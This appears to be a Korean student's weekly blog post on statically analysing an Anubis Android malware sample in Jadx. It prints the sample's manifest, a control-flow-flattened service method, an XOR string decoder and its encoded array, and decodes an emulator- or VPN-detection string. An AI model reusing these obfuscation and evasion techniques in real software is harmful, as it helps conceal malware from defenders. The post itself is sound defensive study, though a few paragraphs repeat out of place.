이번 주에 한 일
- Jadx로 Anubis 정적분석(ServiceHandler.onStartCommand 함수 일부)
Anubis 샘플 apk파일을 Jadx에 넣어주었다. 폴더 이름이 a, b, c, d 등으로 난독화가 되어있다.

난독화 해제를 위해 설정 -> 난독화 해제 -> 난독 해제 활성화를 체크해준다.

그 후, 폴더 이름이 아래와 같이 모든 폴더를 완벽히 알아볼 수는 없지만, 중요 폴더들은 식별이 가능하게 된다.

1. AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
android:versionCode="1"
versionName="3.1.5"
compileSdkVersion="35"
compileSdkVersionCodename="15"
package="com.eksctm.android"
platformBuildVersionCode="35"
platformBuildVersionName="15"
android:tag="⟨STRING_DECODE_ERROR⟩">
<uses-sdk
minSdkVersion="26"
targetSdkVersion="35"
android:tag="⟨STRING_DECODE_ERROR⟩"/>
<uses-permission
name="android.permission.INTERNET"
android:tag="⟨STRING_DECODE_ERROR⟩"/>
<uses-permission
name="android.permission.REQUEST_INSTALL_PACKAGES"
android:tag="⟨STRING_DECODE_ERROR⟩"/>
<uses-permission
name="android.permission.ACCESS_NETWORK_STATE"
android:tag="⟨STRING_DECODE_ERROR⟩"/>
<permission
android:name="com.eksctm.android.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"
android:protectionLevel="signature"
android:tag="⟨STRING_DECODE_ERROR⟩"/>
<uses-permission
name="com.eksctm.android.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"
android:tag="⟨STRING_DECODE_ERROR⟩"/>
<application
theme="@kbfcb17/kbfcb_res_0x7f110222"
android:label="@kbfcb16/kbfcb_res_0x7f10001c"
android:icon="@kbfcb13/kbfcb_res_0x7f0d0000"
allowBackup="true"
supportsRtl="true"
android:fullBackupContent="@kbfcb19/kbfcb_res_0x7f130000"
android:roundIcon="@kbfcb13/kbfcb_res_0x7f0d0002"
appComponentFactory="androidx.core.app.CoreComponentFactory"
android:dataExtractionRules="@kbfcb19/kbfcb_res_0x7f130001"
android:tag="⟨STRING_DECODE_ERROR⟩">
<activity
name="com.eksctm.android.MainActivity"
exported="true"
android:tag="⟨STRING_DECODE_ERROR⟩">
<intent-filter android:tag="⟨STRING_DECODE_ERROR⟩">
<action
android:name="android.intent.action.MAIN"
android:tag="⟨STRING_DECODE_ERROR⟩"/>
<category
android:name="android.intent.category.LAUNCHER"
android:tag="⟨STRING_DECODE_ERROR⟩"/>
</intent-filter>
</activity>
<service
name="com.eksctm.android.ServiceHandler"
permission="android.permission.BIND_VPN_SERVICE"
exported="true"
android:tag="⟨STRING_DECODE_ERROR⟩">
<intent-filter android:tag="⟨STRING_DECODE_ERROR⟩">
<action
android:name="android.net.VpnService"
android:tag="⟨STRING_DECODE_ERROR⟩"/>
</intent-filter>
</service>
<receiver
android:name="com.eksctm.android.Receiver"
exported="true"
android:tag="⟨STRING_DECODE_ERROR⟩"/>
<provider
name="androidx.startup.InitializationProvider"
exported="false"
authorities="com.eksctm.android.androidx-startup"
android:tag="⟨STRING_DECODE_ERROR⟩">
<meta-data
android:name="androidx.emoji2.text.EmojiCompatInitializer"
android:value="androidx.startup"
android:tag="⟨STRING_DECODE_ERROR⟩"/>
<meta-data
android:name="androidx.lifecycle.ProcessLifecycleInitializer"
android:value="androidx.startup"
android:tag="⟨STRING_DECODE_ERROR⟩"/>
<meta-data
android:name="androidx.profileinstaller.ProfileInstallerInitializer"
android:value="androidx.startup"
android:tag="⟨STRING_DECODE_ERROR⟩"/>
</provider>
<receiver
android:name="androidx.profileinstaller.ProfileInstallReceiver"
permission="android.permission.DUMP"
enabled="true"
exported="true"
directBootAware="false"
android:tag="⟨STRING_DECODE_ERROR⟩">
<intent-filter android:tag="⟨STRING_DECODE_ERROR⟩">
<action
android:name="androidx.profileinstaller.action.INSTALL_PROFILE"
android:tag="⟨STRING_DECODE_ERROR⟩"/>
</intent-filter>
<intent-filter android:tag="⟨STRING_DECODE_ERROR⟩">
<action
android:name="androidx.profileinstaller.action.SKIP_FILE"
android:tag="⟨STRING_DECODE_ERROR⟩"/>
</intent-filter>
<intent-filter android:tag="⟨STRING_DECODE_ERROR⟩">
<action
android:name="androidx.profileinstaller.action.SAVE_PROFILE"
android:tag="⟨STRING_DECODE_ERROR⟩"/>
</intent-filter>
<intent-filter android:tag="⟨STRING_DECODE_ERROR⟩">
<action
android:name="androidx.profileinstaller.action.BENCHMARK_OPERATION"
android:tag="⟨STRING_DECODE_ERROR⟩"/>
</intent-filter>
</receiver>
</application>
</manifest>
name="com.eksctm.android.ServiceHandler"
permission="android.permission.BIND_VPN_SERVICE"
- 기기의 모든 네트워크 트래픽을 가로채기 위해 VpnService 권한을 요구한다고 의심이 된다. 사용자가 입력하는 데이터를 탈취하는 목적일 수 있다.
<uses-permission name="android.permission.INTERNET"/>
<uses-permission name="android.permission.REQUEST_INSTALL_PACKAGES"/>
- INTERNET 권한(앱이 네트워크를 쓸 수 있게 허용)으로 추가 악성 페이로드를 다운로드한 뒤, REQUEST_INSTALL_PACKAGES를 이용해 가짜 업데이트나 다른 악성 앱을 사용자 몰래설치할 수 있다.
exported="false"
- 다른 조종용 시스템이 이 앱의 기능을 원격으로 사용할 수 있도록 true로 설정했다.
2. com.eksctm.android.ServiceHandler
onStartCommand 함수 부분을 먼저 보면
public final int onStartCommand(android.content.Intent r9, int r10, int r11) {
/*
Method dump skipped, instruction units count: 632
To view this dump change 'Code comments level' option to 'DEBUG'
*/
throw new UnsupportedOperationException("Method not decompiled: com.eksctm.android.ServiceHandler.onStartCommand(android.content.Intent, int, int):int");
}
}
JADX가 코드를 제대로 해석하지 못하고 "Method dump skipped"라는 메시지를 띄웠다. 코드가 너무 길거나(632 units), 분석을 방해하기 위해 바이트코드를 비정상적으로 꼬아놓아서 그런 것 같다. 632 유닛이라는 건, 이 서비스가 켜지자마자 하는 일이 매우 방대하고 복잡하다는 뜻이다. 일반적인 서비스와는 확실히 다른 점이 있다.
파일 > 설정 > 디컴파일에서 디컴파일 안된 코드 표시에 체크를 해주고, 코드 주석 수준을 DEBUG로 바꿔준다.
그 후, 다시 com.eksctm.android.ServiceHandler를 보면
public final int onStartCommand(Intent intent, int i2, int i3) {
String str;
String str2;
String str3;
String str4;
Thread thread;
String str5;
int iM2535 = C1032.m2535("۠ۨۨ");
Thread thread2 = null;
String str6 = null;
while (true) {
switch (iM2535) {
case 56293:
case 1746818:
case 1752670:
iM2535 = C1025.f4367 + (C1023.f4365 / 6412) < 0 ? C1058.m2711("ۨ۟۟") : (C1050.f4392 - C1022.f4364) + 1753444;
break;
case 56356:
String strM2476 = C1023.m2476(intent);
if (C1058.f4402 * (C1075.f4419 | (-2499)) >= 0) {
iM2535 = C1032.m2535("ۢ۟۠");
str6 = strM2476;
} else {
iM2535 = (C1073.f4417 / C1055.f4399) + 1751653;
str6 = strM2476;
}
break;
case 56414:
thread = new Thread(new RunnableC0019q(C1067.f4411 ^ (-625), this), C1051.m2668(m2663(), 492, C1020.f4362 ^ (-960), 1703));
if ((C1050.f4392 ^ (C1040.f4382 / (-3268))) < 0) {
str5 = "ۣۨۨ";
iM2535 = C1068.m2771(str5);
thread2 = thread;
} else {
iM2535 = C1067.m2764("ۣ۟ۧ");
thread2 = thread;
}
break;
case 1746819:
if (C1031.f4373 >= 0) {
str = "ۡۥ";
iM2535 = C1059.m2718(str);
} else {
C1020.m2452();
str4 = "۟ۧ۠";
iM2535 = C1029.m2519(str4);
}
break;
case 1747748:
C1047.m2635(thread2);
iM2535 = C1046.f4388 + (C1036.f4378 ^ 7498) >= 0 ? C1049.m2649("ۨۨۦ") : (C1060.f4404 | C1041.f4383) + 1750631;
break;
case 1747868:
if (C1032.f4374 * (C1064.f4408 - 3537) <= 0) {
iM2535 = C1064.m2747("ۣۡ");
} else {
C1043.f4385 = 4;
str3 = "ۨ۠ۨ";
iM2535 = C1045.m2622(str3);
}
break;
case 1747936:
if (intent == null) {
if (C1041.f4383 - (C1050.f4392 + 6568) < 0) {
iM2535 = C1067.f4411 + C1065.f4409 + 1753428;
} else {
C1041.m2594();
str2 = "ۣۦۤ";
iM2535 = C1023.m2469(str2);
}
break;
} else if (C1031.f4373 >= 0) {
}
break;
case 1749571:
C1067.m2768(this, true);
str3 = "ۤ۟ۡ";
iM2535 = C1045.m2622(str3);
break;
case 1749573:
if (C1048.m2641(C1051.m2668(m2663(), 504, C1047.f4389 ^ (-862), 566), str6)) {
iM2535 = (C1056.f4400 - C1023.f4365) ^ (-1751895);
} else if (C1025.f4367 + (C1023.f4365 / 6412) < 0) {
}
break;
case 1750753:
if (C1043.m2606(this)) {
if (C1053.m2682() > 0) {
str2 = "ۨۦۨ";
iM2535 = C1023.m2469(str2);
} else {
C1068.m2774();
iM2535 = C1068.m2771("ۣ۟ۦ");
}
break;
} else if (C1032.f4374 * (C1064.f4408 - 3537) <= 0) {
}
break;
case 1751494:
if (C1021.f4363 > 0) {
str4 = "ۥۦ۟";
iM2535 = C1029.m2519(str4);
} else {
C1041.m2594();
iM2535 = C1031.m2528("۠ۢۦ");
}
break;
case 1751625:
C1038.m2576(this);
if (C1027.f4369 < 0) {
str2 = "ۦ۟ۢ";
iM2535 = C1023.m2469(str2);
} else {
C1065.f4409 = 26;
iM2535 = C1049.m2649("ۢ۟ۢ");
}
break;
case 1751649:
if (C1054.m2683() < 0) {
str3 = "۟ۤ";
iM2535 = C1045.m2622(str3);
} else {
iM2535 = C1040.m2588("ۦ۟ۢ");
}
break;
case 1751653:
if (C1048.m2641(C1055.m2694(m2663(), 434, C1024.f4366 ^ 384, 1670), str6)) {
str2 = "ۣۦۤ";
iM2535 = C1023.m2469(str2);
} else if (C1055.m2692() <= 0) {
iM2535 = (C1033.f4375 * C1040.f4382) + 1678999;
} else {
str5 = "ۣۧۡ";
thread = thread2;
iM2535 = C1068.m2771(str5);
thread2 = thread;
}
break;
case 1751774:
if (C1055.m2692() <= 0) {
}
break;
case 1753417:
return 1;
case 1753538:
return C1069.f4413 ^ 346;
case 1755562:
C1043.m2607(C1062.m2737(m2663(), 466, C1056.f4400 ^ 61, 3093), C1058.m2714(m2663(), 473, C1048.f4390 ^ (-163), 2338));
if ((C1051.f4395 ^ (C1059.f4403 ^ (-5623))) < 0) {
str3 = "ۢ۟۠";
iM2535 = C1045.m2622(str3);
} else {
C1068.m2774();
iM2535 = C1074.m2810("ۡۥ");
}
break;
case 1755619:
this.f1818b = thread2;
if (C1042.f4384 <= 0) {
C1047.m2631();
iM2535 = C1065.m2753("ۨۦۨ");
} else {
iM2535 = (C1056.f4400 / C1052.f4396) + 1747748;
}
break;
case 1755622:
if (C1039.f4381 < 0) {
iM2535 = C1040.m2588("۠ۨۨ");
} else {
str = "ۢ۠ۤ";
iM2535 = C1059.m2718(str);
}
break;
}
}
}
t
제어 흐름 난독화가 되어 있어 분석하기가 어렵다. ㅠ.ㅠ
함수 안의 모든 코드가 switch-case 제어문 안에 있다. case에 맞는 코드로 바로 이동해 실행하는 조건이 여러 개인 제어문이다. break로 끊어주어야지 다음 코드까지 실행하지 않는다.
- case 56293, 1746818, 1752670:iM2535 = C1025.f4367 + (C1023.f4365 / 6412) < 0 ? C1058.m2711("ۨ۟۟") : (C1050.f4392 - C1022.f4364) + 1753444; 의 삼항연산자가 있다. 분석가가 이해하는데에 오래 걸리도록 꼬아놓은 것 같다. 웬만하면 조건이 거짓이 되도록 해 (C1050.f4392 - C1022.f4364) + 1753444라는 값을 iM2535라는 변수에 넣는 코드를 어렵게 만들어놓은 것 같다.
- case 56356: String strM2476 = C1023.m2476(intent); 이 서비스가 시작될 때 받은 intent에서 중요한 문자열(명령어, 서버 주소 등)을 뽑아내서 strM2476에 저장한다. 그 뒤로 if-else 문이 있는데, 조건이 맞든 안맞든 iM2535에 새로운 값을 넣어 다시 분기하도록 한다. 두 iM2535의 값이 다른지 다르지 않은지는 여기서는 알 수 없다.
- case 56414: 이 부분이 가장 위험한 부분이다. thread = new Thread(new RunnableC0019q(C1067.f4411 ^ (-625), this), C1051.m2668(m2663(), 492, C1020.f4362 ^ (-960), 1703)); 여기서 새로운 작업 스래드를 만든다. RunnableC0019q가 실제 악성 짓을 수행하는 스래드일 확률이 높다. 스래드를 실행할 때 넘겨주는 인자값을 비트연산(^) 등으로 알아보기 어렵게 해놨다. 인자는 어떤 값인지 여기서는 알 수가 없지만 이 코드의 전반적인 의도는 메인 서비스 흐름과는 별개로 백그라운드에서 계속 동작하는 악성 루프를 돌리겠다는 의미로 보인다. 그 후 iM2535에 특정 값을 넣어 분기하도록 하고, thread2 = thread를 통해 만든 스래드에 thread2라는 다른 이름을 붙인다. thread라는 이름을 나중에 또 사용하기 위해서이거나, 분석을 어렵게 만들기 위해서인 것 같다.
- case 1746819: C1031.f4373이라는 변수값이 0보다 큰지 확인한다. case 1747748(스레드 시작) 바로 전 부분에서 이 체크가 일어나므로 실행환경이 안전한지 확인하는 코드로 보인다. 예를 들어 실행환경이 실제 환경인지, 에뮬레이터인지와 같은 것을 확인하는 것으로 보인다. 그 후 if-else를 통해 iM2535가 서로 다른 곳으로 분기할 수 있도록 한다.
- case 1747748: C1047.m2635(thread2); 를 통해 위에서 만든 thread2 이름표의 스레드에게 실행을 시작하라고 신호를 보내는 곳으로 보인다. m2635는 아마도 Thread.start()를 호출하는 함수일 가능성이 높다. 그 후, 삼항연산자로 iM2535에 새 값을 넣어줘 다른 곳으로 분기하도록 한다.
- case 1747868: if (intent == null)에서 intent는 컴포넌트 간에 데이터를 주고받는 핵심 객체인데 이게 null이라는 것은 정상적인 실행이 아니라는 뜻이다. intent에 아무것도 없다면 다음 케이스로 분기하도록 한다. 중간중간에 보이는 ۦ 이렇게 생긴 이상한 문자는 다른 함수에 넣으면 의도한대로 값이 나오도록 설계한 것 같다. 분석하기 어렵게 이상한 문자를 넣은 것 같다. intent가 null이 아니라면 실행하는 값은 중괄호 안에 아무것도 넣어놓지 않아서 겉보기에는 그냥 스위치문을 탈출하는 것처럼 보인다. 코드 제작자가 다른 곳에 참일시 실행하는 코드를 숨겨놓은 것 같다.
- case 1749571: this 인자를 넘겨줌으로써 현재 이 코드의 화면이나 권한 등의 것을 m2768 함수로 넘겨준다. 그리고 true를 통해 어떤 기능을 활성화한다는 것 같다. m2768 함수를 보면 아래와 같다.
-
/* JADX INFO: renamed from: ۥۣۣۢ, reason: contains not printable characters */ public static void m2768(Object obj, boolean z2) { if (C1023.m2471() >= 0) { ((ServiceHandler) obj).m1474c(z2); } }- Object obj로 들어온 객체를 진짜 타입인 (ServiceHandler)로 강제 형변환을 하고 있다. m1474 함수를 보면
public final void m1474c(boolean z2) { String strM2703; boolean z3; ArrayList arrayList; String strM2668; int i2 = 1616; while (true) { i2 ^= 1633; switch (i2) { case 14: break; case 49: i2 = !z2 ? 1678 : 1709; break; case 204: strM2703 = C1052.m2673(m2663(), 25, 13, 1513); int i3 = 1740; while (true) { i3 ^= 1757; switch (i3) { case 17: i3 = 1771; continue; case 54: break; } } break; case 239: strM2703 = C1056.m2703(m2663(), 38, 16, 452); break; } } - case 49 -> case 204 순으로 실행이 된다. case 204는 난독화해 둔 중요한 문자열(C2 서버 주소, 탈취할 데이터 항목 등)을 드디어 복호화해서 strM2703이라는 변수에 담고 있는 것 같다. 더 자세히 알아보기 위해 m2673 함수를 보면
public static String m2673(short[] sArr, int i2, int i3, int i4) { char[] cArr = new char[i3]; for (int i5 = 0; i5 < i3; i5++) { cArr[i5] = (char) (sArr[i2 + i5] ^ i4); } return new String(cArr); }- XOR 연산을 이용해 암호화된 데이터를 글자로 복원하는 함수이다. 이 함수는 난독화가 되어있지 않다. 위의 case 204 코드와 연결지어 보면, m2663()이 가진 배열의 25번째 인덱스부터 시작해서 13개의 숫자를 각각 1513과 XOR 연산하면 숨겨진 진짜 문자열이 나오는 구조이다. m2663()으로 들어가면
위와 같은데, case 1749703과 1749794를 보면 sArr3에 담겨 리턴되는 원본 배열은 이 클래스(혹은 상위 클래스)의 멤버 변수로 선언되어 있는 f4394short라는 변수를 sArr3 으로 반환한다는 것을 알 수 있다. f4394short 변수로들어가면public static short[] m2663() { short[] sArr; String str; short[] sArr2 = null; short[] sArr3 = null; int iM2747 = C1064.m2747("۟ۡ"); while (true) { switch (iM2747) { case 56289: str = "ۥۥۢ"; sArr3 = null; iM2747 = C1055.m2695(str); break; case 56290: if (C1056.m2696() < 0) { iM2747 = C1066.m2758("ۨۡۤ"); } else if (C1068.f4412 <= 0) { C1048.f4390 = 57; iM2747 = C1061.m2729("۟۠"); } else { iM2747 = (C1058.f4402 % C1025.f) + 1749697; } break; case 56538: case 1746942: if (C1061.f4405 >= 0) { C1044.m2616(); iM2747 = C1060.m2724("ۣۢۢ"); } else { iM2747 = C1022.m2467("ۧۥ۟"); } break; case 56567: iM2747 = C1066.m2758("ۨۡۤ"); break; case 1746812: if (C1048.f4390 < 0) { iM2747 = C1058.m2711("۟ۡ"); } else { C1072.m2798(); str = "ۣۣۡ"; iM2747 = C1055.m2695(str); } break; case 1749703: sArr = f4394short; if (C1048.f4390 < 0) { iM2747 = 1748521 + C1066.f4410 + C1045.f4387; sArr2 = sArr; } else { C1045.f4387 = 18; iM2747 = C1067.m2764("ۧۥ۟"); sArr2 = sArr; } break; case 1749794: if (C1038.f4380 + C1033.f4375 + 4148 > 0) { sArr = sArr2; sArr3 = sArr2; iM2747 = C1067.m2764("ۧۥ۟"); sArr2 = sArr; } else { sArr3 = sArr2; iM2747 = C1064.m2747("ۢۦۦ"); } break; case 1752642: iM2747 = C1063.f4407 / (C1039.f4381 + (-9919)) != 0 ? C1060.m2724("ۣ۟۠") : C1042.m2600("ۧۡ"); break; case 1754561: break; case 1755403: iM2747 = C1059.f4403 / (C1068.f4412 + (-4286)) != 0 ? C1068.m2771("۟ۧۦ") : (C1044.f4386 - C1044.f4386) + 56289; break; } return sArr3; } }private static final short[] f4394short = {933, 899, 925, 944, 924, 897, 918, 2982, 2967, 2965, 2973, 2963, 2946, 3030, 2950, 2967, 2948, 2949, 2963, 3030, 2963, 2948, 2948, 2969, 2948, 1471, 1465, 1447, 1462, 1450, 1446, 1447, 1447, 1452, 1450, 1469, 1452, 1453, 402, 404, 394, 411, 384, 397, 407, 391, 395, 394, 394, 385, 391, 400, 385, 384, 2357, 2327, 2304, 2333, 2331, 2330, 2388, 2328, 2333, 2311, 2304, 2382, 2388, 905, 958, 936, 948, 951, 941, 946, 949, 956, 1019, 943, 930, 939, 958, 1019, 3188, 3159, 3163, 3161, 3156, 3194, 3146, 3159, 3161, 3164, 3163, 3161, 3147, 3148, 3189, 3161, 3158, 3161, 3167, 3165, 3146, 1355, 1304, 1288, 1283, 1294, 1286, 1294, 1355, 2803, 2748, 2741, 2803, 2746, 2749, 2727, 2742, 2749, 2727, 2803, 2590, 2621, 2609, 2611, 2622, 2576, 2592, 2621, 2611, 2614, 2609, 2611, 2593, 2598, 2591, 2611, 2620, 2611, 2613, 2615, 2592, 3321, 3290, 3286, 3284, 3289, 3319, 3271, 3290, 3284, 3281, 3286, 3284, 3270, 3265, 3320, 3284, 3291, 3284, 3282, 3280, 3271, 731, 759, 738, 757, 766, 767, 760, 753, 694, 759, 753, 759, 767, 760, 741, 738, 694, 752, 767, 762, 738, 755, 740, 694, 262, 293, 297, 299, 294, 264, 312, 293, 299, 302, 297, 299, 313, 318, 263, 299, 292, 299, 301, 303, 312, 1192, 1192, 1230, 1249, 1252, 1276, 1261, 1274, 1199, 1275, 1192, 1276, 1257, 1274, 1263, 1261, 1276, 1192, 1257, 1252, 1274, 1261, 1257, 1260, 1265, 1192, 1257, 1260, 1260, 1261, 1260, 1733, 1766, 1770, 1768, 1765, 1739, 1787, 1766, 1768, 1773, 1770, 1768, 1786, 1789, 1732, 1768, 1767, 1768, 1774, 1772, 1787, 2381, 2414, 2402, 2400, 2413, 2371, 2419, 2414, 2400, 2405, 2402, 2400, 2418, 2421, 2380, 2400, 2415, 2400, 2406, 2404, 2419, 3083, 3083, 3181, 3138, 3143, 3167, 3150, 3161, 3083, 3142, 3146, 3167, 3144, 3139, 3150, 3151, 3082, 3083, 3083, 3142, 3146, 3167, 3144, 3139, 3094, 3099, 3155, 2323, 2312, 2317, 2312, 2313, 2321, 2312, 2374, 2324, 2307, 2311, 2325, 2313, 2312, 2576, 2589, 2580, 2561, 1866, 1871, 1882, 1871, 1730, 1728, 1751, 1738, 1740, 1741, 1305, 1307, 1294, 1311, 1309, 1301, 1288, 1283, 1845, 1814, 1818, 1816, 1813, 1851, 1803, 1814, 1816, 1821, 1818, 1816, 1802, 1805, 1844, 1816, 1815, 1816, 1822, 1820, 1803, 2362, 2362, 2396, 2419, 2422, 2414, 2431, 2408, 2362, 2430, 2419, 2430, 2362, 2420, 2421, 2414, 2362, 2423, 2427, 2414, 2425, 2418, 2336, 2362, 1277, 1243, 1221, 1256, 1220, 1241, 1230, 2246, 2273, 2298, 2277, 2277, 2300, 2299, 2290, 2229, 2243, 2245, 2267, 2235, 2235, 2235, 1668, 1701, 1715, 1699, 1714, 1705, 1712, 1716, 1711, 1714, 1760, 1699, 1708, 1711, 1715, 1701, 1760, 1701, 1714, 1714, 1711, 1714, 1765, 1769, 1771, 1704, 1744, 1782, 1768, 1749, 1763, 1780, 1776, 1775, 1765, 1763, 1704, 1767, 1768, 1762, 1780, 1769, 1775, 1762, 1704, 1749, 1746, 1735, 1748, 1746, 1753, 1744, 1750, 1736, 3139, 3173, 3195, 3158, 3194, 3175, 3184, 2420, 2418, 2412, 2306, 2371, 2382, 2384, 2375, 2371, 2374, 2395, 2306, 2371, 2369, 2390, 2379, 2388, 2375, 2316, 1779, 1746, 1737, 1737, 1730, 1739, 1776, 1736, 1749, 1740, 1730, 1749, 597, 601, 603, 536, 608, 582, 600, 613, 595, 580, 576, 607, 597, 595, 536, 599, 600, 594, 580, 601, 607, 594, 536, 613, 610, 633, 614, 617, 608, 614, 632}; - 위와 같이 숫자들의 배열이 있다. 이 배열이 바로 m2663()이 반환하는 배열이다. 이 배열을 통해 위의 코드와 같이 25번째 인덱스부터 시작해서 13개의 숫자를 각각 1513과 XOR 연산을 하면, VPN_CONNECTED 라는 글자가 나온다. 안드로이드 시스템은 기기에 VPN이 연결되거나 해제될 때 전체 앱에 브로드캐스트 인텐트를 보낸다. 이 코드는 이를 수신한 뒤, 방금 들어온 시스템 신호가 VPN이 연결되었다는 신호인지 문자열을 비교하며 체크하는 부분이라는 것을 알게되었다. 악성코드가 외부 서버와 통신하는 패킷을 가로채기 위해 분석 환경에 VPN 형태의 네트워크 프록시 도구를 켜두는 경우가 많기 때문에 기기에 VPN이 켜진 것을 감지하면 악성 행위를 일시 중단하여 정체를 숨기기 위함인 것 같다. 따라서 분석 환경일 때를 감지하기 위한 부분이라고 보면 될 것 같다.
- XOR 연산을 이용해 암호화된 데이터를 글자로 복원하는 함수이다. 이 함수는 난독화가 되어있지 않다. 위의 case 204 코드와 연결지어 보면, m2663()이 가진 배열의 25번째 인덱스부터 시작해서 13개의 숫자를 각각 1513과 XOR 연산하면 숨겨진 진짜 문자열이 나오는 구조이다. m2663()으로 들어가면
- Object obj로 들어온 객체를 진짜 타입인 (ServiceHandler)로 강제 형변환을 하고 있다. m1474 함수를 보면
이런 식으로 파고 들어가면서 분석을 해야할 것 같다. 이제 한 부분 분석을 완료했다. 전체적으로 제어 흐름 평탄화(모든 구조를 평평하게 늘어뜨리는 대표적인 난독화 기법)가 되어있어서 나머지 부분도 분석이 쉽지 않을 것 같다.
'악성코드' 카테고리의 다른 글
| 7주차_Jadx(2) (0) | 2026.05.25 |
|---|---|
| 5주차_Frida(1) (0) | 2026.05.11 |
| 4주차_학습용 악성코드 동적분석 (0) | 2026.04.02 |
| 3주차_학습용 악성코드 정적분석 (0) | 2026.03.29 |
| 2주차_악성코드 분석 툴 (0) | 2026.03.23 |